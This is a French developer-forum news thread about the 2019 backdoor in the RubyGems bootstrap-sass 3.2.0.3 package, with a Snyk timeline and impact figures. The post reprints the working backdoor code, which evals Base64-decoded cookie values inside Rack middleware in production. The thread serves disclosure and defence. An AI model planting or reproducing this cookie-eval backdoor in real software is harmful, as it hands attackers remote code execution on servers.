IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Ruby on Rails Discussion :

Une porte dérobée a été trouvée dans la bibliothèque populaire Bootstrap-Sass Ruby


Sujet :

Ruby on Rails

  1. #1
    Chroniqueur Actualités

    Homme Profil pro
    Administrateur de base de données
    Inscrit en
    Mars 2013
    Messages
    8 454
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Canada

    Informations professionnelles :
    Activité : Administrateur de base de données

    Informations forums :
    Inscription : Mars 2013
    Messages : 8 454
    Points : 197 763
    Points
    197 763
    Par défaut Une porte dérobée a été trouvée dans la bibliothèque populaire Bootstrap-Sass Ruby
    Une porte dérobée a été trouvée dans la bibliothèque populaire Bootstrap-Sass Ruby,
    le hacker responsable aurait piraté le compte de l'un des développeurs du projet

    Le 26 mars 2019, une version malveillante du package bootstrap-sass (un package Ruby qui fournit aux développeurs une version Sass de Bootstrap) a été publiée dans le référentiel officiel de RubyGems. La version 3.2.0.3 inclut une porte dérobée furtive permettant aux attaquants d’exécuter des commandes à distance dans les applications Rails côté serveur. Le code malveillant a été supprimé via une mise à jour de la bibliothèque.

    La porte dérobée a été supprimée de RubyGems le jour même où elle a été signalée. L’équipe Bootstrap-Sass a également révoqué l’accès à RubyGems pour le développeur dont le compte était, selon eux, compromis et utilisé pour envoyer le code malveillant.

    Bootstrap-Sass v3.2.0.4 a également été publié avant-hier, sur RubyGems et GitHub, afin de supprimer les restes de porte dérobée. La mise à jour doit également déclencher une notification pour que les développeurs mettent à jour leur code avec cette nouvelle version, et suppriment également les portes dérobées des projets existants.

    La découverte

    L’existence de la porte dérobée a été révélée le 27 mars, lorsque le développeur de logiciels Derek Barnes a remarqué que quelqu'un avait supprimé une version de la bibliothèque (Bootstrap-Sass v3.2.0.2) et avait immédiatement publié une nouvelle version, quelques instants plus tard, v3. 2.0.3.

    Ce qui a attiré l'attention de Barnes sur cette version est le fait que la modification n'a été effectuée que sur RubyGems, un référentiel populaire pour les bibliothèques Ruby, mais pas sur GitHub, où le code source de la bibliothèque était géré.

    La porte dérobée était donc judicieusement masquée dans la version 3.2.0.3 publiée uniquement par RubyGems et aucune source de la version malveillante n'existait dans le référentiel GitHub. Elle permettait à des attaquants distants d'exécuter de manière dynamique du code sur des serveurs hébergeant les versions vulnérables.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    begin
      require 'rack/sendfile'
      if Rails.env.production?
        Rack::Sendfile.tap do |r|
          r.send :alias_method, :c, :call
          r.send(:define_method, :call) do |e|
            begin
              x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
              eval(x) if x
            rescue Exception
            end
            c(e)
          end
        end
      end
    rescue Exception
      nil
    end
    Chronologie

    Snyk, une société spécialisée en cybersécurité, a livré son analyse de la situation :
    • La version 3.2.0.2 a été supprimée du registre RubyGems. Cela signifie que l'archive est toujours accessible directement via le référentiel RubyGems, mais qu'elle n'est pas visible pour le gestionnaire de paquets. Autant que nous sachions, cette version n’est pas malveillante et a été tirée par les acteurs malveillants afin d’amener les utilisateurs à passer à la version 3.2.0.3 qu’ils ont ensuite publiée.
    • Le 26 mars, la version 3.2.0.3 a été publiée par des acteurs malveillants. La version inclut une porte dérobée dans un nouveau fichier, lib / active-controller / middleware.rb. La porte dérobée se connecte à un autre module Ruby et le modifie pour que les cookies spécifiques envoyés par le client soient décodés en Base64, puis évalués au moment de l'exécution, afin de permettre l'exécution de code à distance.
    • La version malveillante 3.2.0.3 correspond à la somme de contrôle SHA256 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.
    • Nous supposons que l'attaquant a obtenu les informations d'identification lui permettant de publier le package RubyGems malveillant de l'un des deux responsables, mais cela n'a pas été officiellement confirmé.
    • Le 26 mars à 22 h 59, GMT, Derek Barnes a ouvert un numéro sur le référentiel public pour informer les mainteneurs et la communauté plus large de ses soupçons concernant le code contenu dans la version 3.2.0.3.
    • Le 26 mars à 23 h 56 GMT, à peine une heure plus tard, la version malveillante a été supprimée du référentiel RubyGems et les responsables ont confirmé avoir mis à jour leurs informations d'identification.
    • En raison de la suppression des versions 3.2.0.2 et 3.2.0.3, les utilisateurs devaient passer à d'autres versions, telles que 3.4.1, comme recommandé par les responsables de projet.
    • Le 3 avril 2019, à 16 h 10 GMT, les responsables du projet ont publié une nouvelle version, 3.2.0.4, identique à la version rétractée, 3.2.0.2, permettant aux utilisateurs de passer facilement à une version sûre sans avoir à recourir à un changement de version majeur.
    • Le 4 avril 2019 à 16h46, la version vulnérable de 3.2.0.2 a été supprimée de manière incorrecte et est restée dans le registre RubyGems par le biais de miroirs pendant plusieurs jours. Il a été rapporté qu'elle est maintenant totalement indisponible.


    Nom : boot.png
Affichages : 4270
Taille : 86,1 Ko

    Peu de projets impactés

    Toutefois, le nombre de projets impactés est considéré comme faible, car la dernière version de la bibliothèque était Bootstrap-Sass v3.4.1 et très peu de développeurs utilisaient l’ancienne branche.

    « Une analyse rapide montre qu'environ 1 670 référentiels GitHub ont pu être exposés à la bibliothèque malveillante par le biais d'une utilisation directe », a déclaré la société de cybersécurité Snyk. « Ce nombre augmentera considérablement si l'on compte son utilisation dans les applications comme une dépendance transitive »

    Selon les statistiques officielles de RubyGems, la bibliothèque Bootstrap-Sass a été téléchargée près de 28 millions de fois à partir du portail RubyGems. Cependant, ces statistiques sont historiques et ne reflètent pas toutes les téléchargements de la version avec porte dérobée. Les téléchargements de la version 3.2.0.3 contenant la porte dérobée s’élevaient à un peu plus de 1 470.

    Sources : GitHub, Snyk
    Contribuez au club : Corrections, suggestions, critiques, ... : Contactez le service news et Rédigez des actualités

  2. #2
    Membre extrêmement actif
    Avatar de Madmac
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Juin 2004
    Messages
    1 685
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Canada

    Informations professionnelles :
    Activité : Ingénieur développement logiciels
    Secteur : Alimentation

    Informations forums :
    Inscription : Juin 2004
    Messages : 1 685
    Points : 1 376
    Points
    1 376
    Billets dans le blog
    7
    Par défaut
    Merci de mettre le code, car la version sans bootstrap sera également visé.

Discussions similaires

  1. Réponses: 5
    Dernier message: 28/05/2018, 01h46
  2. Réponses: 0
    Dernier message: 20/12/2017, 12h43
  3. Réponses: 5
    Dernier message: 22/12/2016, 20h39
  4. Réponses: 1
    Dernier message: 10/12/2016, 15h17

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo